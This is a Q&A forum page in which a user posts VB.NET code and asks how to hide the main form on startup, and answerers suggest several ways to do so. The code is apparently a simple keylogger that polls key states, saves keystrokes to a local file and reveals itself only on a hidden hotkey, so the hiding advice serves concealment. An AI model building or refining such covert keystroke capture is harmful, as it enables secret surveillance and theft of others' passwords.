Vighanesh Gursale
Vighanesh Gursale

Reputation: 921

How to hide vb form on startup?

I am trying to hide the main form on startup, but for some reason I am failed to do that. In the following code I have created a button that hides the form, but I want to hide the form on load. Please help me out. Thanks in advance.

Option Strict On

Public Class Form1
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer

    Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick
        Dim result As Integer
        Dim key As String

        Dim i As Integer
        For i = 2 To 90
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                tbLog.Text = tbLog.Text + Chr(i)
                If i = 13 Then key = vbNewLine

                Exit For
            End If
        Next i

        If key <> Nothing Then
            If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
                tbLog.Text = key
            Else
                tbLog.Text = key.ToLower
            End If
        End If

        If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "z" Then
            Me.Show()

        End If
    End Sub

    Private Sub btnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHide.Click
        Me.Hide()
    End Sub
    Private msg As String = ""
    Private Sub timerSave_Tick() Handles timerSave.Tick
        My.Computer.FileSystem.WriteAllText("D:\log.txt", tbLog.Text, True)
        tbLog.Clear()

    End Sub

    Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
        tbLog.Text &= vbNewLine & "Closed at:" & Now & vbNewLine
        'My.Computer.FileSystem.WriteAllText("D:\log1.txt", tbLog.Text, True)
        timerSave_Tick()

    End Sub


    Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load

        tbLog.Text = " Started at :" & Now & vbNewLine

    End Sub

    Public Sub store(ByVal s As String)

    End Sub
End Class

Upvotes: 1

Views: 3783

Answers (3)

Al.Acoustic
Al.Acoustic

Reputation: 199

Just enter paste this in the beginning of your form.

Protected Overrides Sub SetVisibleCore(ByVal value As Boolean)
    If Not Me.IsHandleCreated Then
        Me.CreateHandle()
        value = False
    End If
    MyBase.SetVisibleCore(value)
End Sub

more information is available at: How to have an invisible start up form? by Hans Passant

Best,

Upvotes: 0

japoo
japoo

Reputation: 1

When you go the the code tab, right under it is a listbox. select "(form1 events)". after you have done that, right next to it is another listbox. Put that textbox on "Load". a new event is created. That event is started when the program starts. Put in this event: me.visible = false. This should do it.

Upvotes: -1

Konrad Rudolph
Konrad Rudolph

Reputation: 546035

If you don’t want to display a form at startup then the solution is to change the startup method for your project rather than trying to hide the form.

In the application settings, disable “Application framework” and set the startup object to Sub Main rather than a form object. Then write an appropriate Sub Main entry point in a module.

The MSDN has more information (although some of the infos given in this article are grossly misleading).

Upvotes: 4

Related Questions